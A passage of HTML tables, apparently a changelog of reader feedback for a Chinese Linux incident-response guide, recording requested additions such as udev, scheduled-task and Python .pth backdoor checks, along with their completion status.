10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-19 21:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 /tmp、/dev/shm 等</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-24 16:00</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">52. 添加 udev 相关检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0052</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-27 17:33</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 udev 相关检查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-26 23:59</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">53. 数据恢复部分文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0053</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">大道至简</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-28 13:55</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">数据恢复部分文字错误</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-28 21:35:16</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">54. 杀死进程组命令与sudo 不兼容，导致失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0054</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">大道至简</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-09-04 16:28</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">kill -9 -pgid 加了 sudo 会失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-24 18:24</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">55. 增加shellpub webshell查杀工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0055</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-12-24 18:40</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">建议添加 shellhub 查杀工具</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已忽略</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-24 18:27</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">之前已存在</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">56. 每种应急场景添加流程图</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0056</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">每种应急场景添加流程图</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">57. 完善计划任务排查中 at 和 batch 的排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0057</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-26 10:20</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善计划任务排查中 at 和 batch 的排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:46</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">58. 添加挂载点隐藏进程排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0058</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-12-30 10:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加挂载点隐藏进程排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已忽略</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:59</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">之前就有，在常见问题的解决办法 -&gt; 0x02 章节</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">59. 添加Python .pth 文件后门排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0059</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-01-15 10:39</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加Python .pth 文件后门排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 01:35</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">60. 完善 profile 配置检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0060</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-19 18:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 